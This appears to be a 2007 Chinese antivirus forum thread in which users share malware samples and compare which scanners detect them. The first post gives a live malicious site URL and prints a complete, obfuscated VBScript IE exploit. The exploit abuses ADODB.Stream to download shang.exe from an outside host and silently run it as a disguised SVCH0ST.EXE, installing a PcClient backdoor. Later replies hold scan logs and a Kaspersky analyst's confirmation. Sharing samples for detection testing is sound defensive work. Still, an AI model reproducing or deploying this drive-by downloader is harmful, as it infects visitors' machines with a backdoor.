样本放送

显示全部楼层 · 发表于 2007-5-28 13:20:44

感谢avpclub提供网址
不知过kav7没
链接：http://www.gamedain.com

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII" />
<title>super IE 0Day</title>
</head>
<body>
<Script Language="VBScript">
On Error Resume Next
CnLRU="http://www.maplesbiry.com/adovi/shang.exe"
Set A0 = document.createElement("ob"&"je"&"c"&"t")
A0.SetAttribute "cla"&"ssid", "c"&"ls"&"i"&"d:BD9"&"6C55"&"6-65"&"A3-11D0"&"-983A-00C"&"04FC29"&"E36"
sHTTP="M"&"ic"&"ro"&"s"&"of"&"t"&".X"&"M"&"L"&"H"&"TT"&"P"
Set Pop = A0.CreateObject(sHTTP,"")
Pop.Open "G"&"ET", CnLRU, False
Pop.Send
Exe="SV"&"CH"&"0ST.EXE"
Vbs="SV"&"CH"&"OST.VBS"
Set FPI = A0.createobject("Scri"&"p"&"ting.F"&"i"&"le"&"Sy"&"st"&"e"&"mO"&"bje"&"ct","")
Set sTmp = FPI.GetSpecialFolder(2)
Exe=FPI.BuildPath(sTmp,Exe)
Vbs=FPI.BuildPath(sTmp,Vbs)
AA="A"&"d"
AB="o"&"d"&"b"&"."&"s"&"tre"&"am"
fffff="S"&"h"&"e"&"l"&"l"&"."&"A"&"p"&"p"&"l"&"i"&"c"&"a"
AdM=AA&AB
Set ZZ = A0.createobject(AdM,"")
ZZ.type=1
ZZ.Open
ZZ.Write Pop.ResponseBody
ZZ.Savetofile Exe,2
ZZ.Close
ZZ.Type=2
ZZ.Open
ZZ.WriteText "On Error Resume Next"&vbCrLf&"Set S = CreateObject(""Wsc""&""ript.S""&""hell"")"&vbCrLf&"S.Run ("""&Exe&""")"&vbCrLf&"Set S = Nothing"
ZZ.Savetofile Vbs,2
ZZ.Close
Set MircoLonga = A0.createobject(fffff&"tion","")
MircoLonga.ShellExecute Vbs,aaa,aaa,"Open",0
</Script>
</body>
</html>

复制代码

Starting the file scan:

Begin scan in 'C:\TDDOWNLOAD\shang.exe'
C:\TDDOWNLOAD\
  shang.exe
   [DETECTION] Contains signature of the dropper DR/PcClient.Gen
   [WARNING] The file was ignored!
扫描日志
NOD32版本 2291 (20070525) NT
命令行： C:\TDDOWNLOAD\shang.exe
正在检查NOD32.EXE文件的CRC：状态正常
D:\Eset\nod32.exe - 是正常的
扫描系统内存中：没有进行 (选项已关闭)
扫描MBR及引导区中：没有进行 (选项已关闭)
日期： 27.5.2007  时间：22:16:16
已关闭反隐藏功能.
已扫描的磁盘，文件夹及文件：C:\TDDOWNLOAD\shang.exe
C:\TDDOWNLOAD\shang.exe - 是正常的
已扫描的文件数目：1
已发现的病毒数目：0
完成时间： 22:16:16 总扫描时间：0 秒 (00:00:00)

[Scan path] C:\TDDOWNLOAD\shang.exe
C:\TDDOWNLOAD\shang.exe infected with BackDoor.PcClient

[ 本帖最后由 mofunzone 于 2007-5-27 21:24 编辑 ]

显示全部楼层 · 发表于 2007-5-28 13:21:16

File: index[2].rar
Status:
INFECTED/MALWARE
MD5 d644130f00080e6ab0218e50cf2b5ff7
Packers detected:
-
Scanner results
Scan taken on 28 May 2007 05:19:02 (GMT)
A-Squared
Found nothing
AntiVir
Found HTML/Dldr.Huti
ArcaVir
Found nothing
Avast
Found nothing
AVG Antivirus
Found nothing
BitDefender
Found Exploit.ADODB.Stream.EY
ClamAV
Found nothing
Dr.Web
Found nothing
F-Prot Antivirus
Found nothing
F-Secure Anti-Virus
Found Trojan-Downloader.VBS.Agent.ar
Fortinet
Found HTML/ASCII.H!exploit
Kaspersky Anti-Virus
Found Trojan-Downloader.VBS.Agent.ar
NOD32
Found nothing
Norman Virus Control
Found nothing
Panda Antivirus
Found nothing
Rising Antivirus
Found nothing
VirusBuster
Found Exploit.ASCII.Gen
VBA32
Found nothing

File: shang.rar
Status:
INFECTED/MALWARE
MD5 fb8e809bfee4893d4f35f4f5b3332c55
Packers detected:
-
Scanner results
Scan taken on 28 May 2007 05:18:55 (GMT)
A-Squared
Found nothing
AntiVir
Found DR/PcClient.Gen
ArcaVir
Found nothing
Avast
Found Win32:Agent-EPC
AVG Antivirus
Found nothing
BitDefender
Found nothing
ClamAV
Found nothing
Dr.Web
Found BackDoor.PcClient
F-Prot Antivirus
Found nothing
F-Secure Anti-Virus
Found nothing
Fortinet
Found nothing
Kaspersky Anti-Virus
Found nothing
NOD32
Found nothing
Norman Virus Control
Found nothing
Panda Antivirus
Found nothing
Rising Antivirus
Found nothing
VirusBuster
Found nothing
VBA32
Found Malware.Agent.22 (probable variant)

显示全部楼层 · 发表于 2007-5-28 13:29:11

抢楼

[ 本帖最后由 wangweivip 于 2007-5-28 13:34 编辑 ]

显示全部楼层 · 发表于 2007-5-28 14:21:29

继续

显示全部楼层 · 发表于 2007-5-28 14:31:27

已经删除: 木马程序 Trojan-Downloader.VBS.Agent.ar 文件: C:\Documents and Settings\Administrator\桌面\index[2].rar/index[2].htm
卡巴7只报了前一个包，后一个没反应

显示全部楼层 · 发表于 2007-5-28 14:34:49

过不了卡巴7的启发！

显示全部楼层 · 发表于 2007-5-28 14:42:16

AVAst报了后页面一个,前面一个没有报

显示全部楼层 · 发表于 2007-5-28 14:44:24

显示全部楼层 · 发表于 2007-5-28 15:00:07

咖啡监控杀了五个！！！

附件avk报第一个，蜘蛛报第二个

反病毒专家 AntiVirusKit 2006 扫描病毒日志记录
版本 16.0.7
双引擎反病毒签名 2007-5-27
开始时间: 2007-5-28 14:59
引擎: KAV 引擎 (AVK 16.10153), BD 引擎 (BD 16.6079)
高启发式: 打开
压缩文件: 打开
系统区域: 打开

扫描系统区域...
扫描所选择的目录和文件...
对象: index[2].htm
在压缩档案里: C:\Documents and Settings\Administrator\桌面\index[2].rar
Status: 已发现病毒
病毒: Trojan-Downloader.VBS.Agent.ar (KAV 引擎), Exploit.ADODB.Stream.EY (BD 引擎)
对象: index[2].rar
路径: C:\Documents and Settings\Administrator\桌面
Status: 已发现病毒
病毒: Trojan-Downloader.VBS.Agent.ar (KAV 引擎), Exploit.ADODB.Stream.EY (BD 引擎)
扫描完成: 2007-5-28 15:00
已检查 2 个文件
已发现 1 个染毒文件
发现 0 个可疑文件

shang.rar\shang.exe;C:\Documents and Settings\Administrator\桌面\shang.rar;BackDoor.PcClient;;
shang.rar;C:\Documents and Settings\Administrator\桌面;Archive contains infected objects;;

显示全部楼层 · 发表于 2007-5-28 15:42:41

Hello,

shang.exe_ - Backdoor.Win32.PcClient.yz

New malicious software was found in this file. It's detection will be included in the next update. Thank you for your help.

Please quote all when answering.

--
Best regards, Erakhtin Kirill
Virus analyst, Kaspersky Lab.
e-mail: newvirus@kaspersky.com
http://www.kaspersky.com/

> Attachment: shang.zip

[病毒样本] 样本放送

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源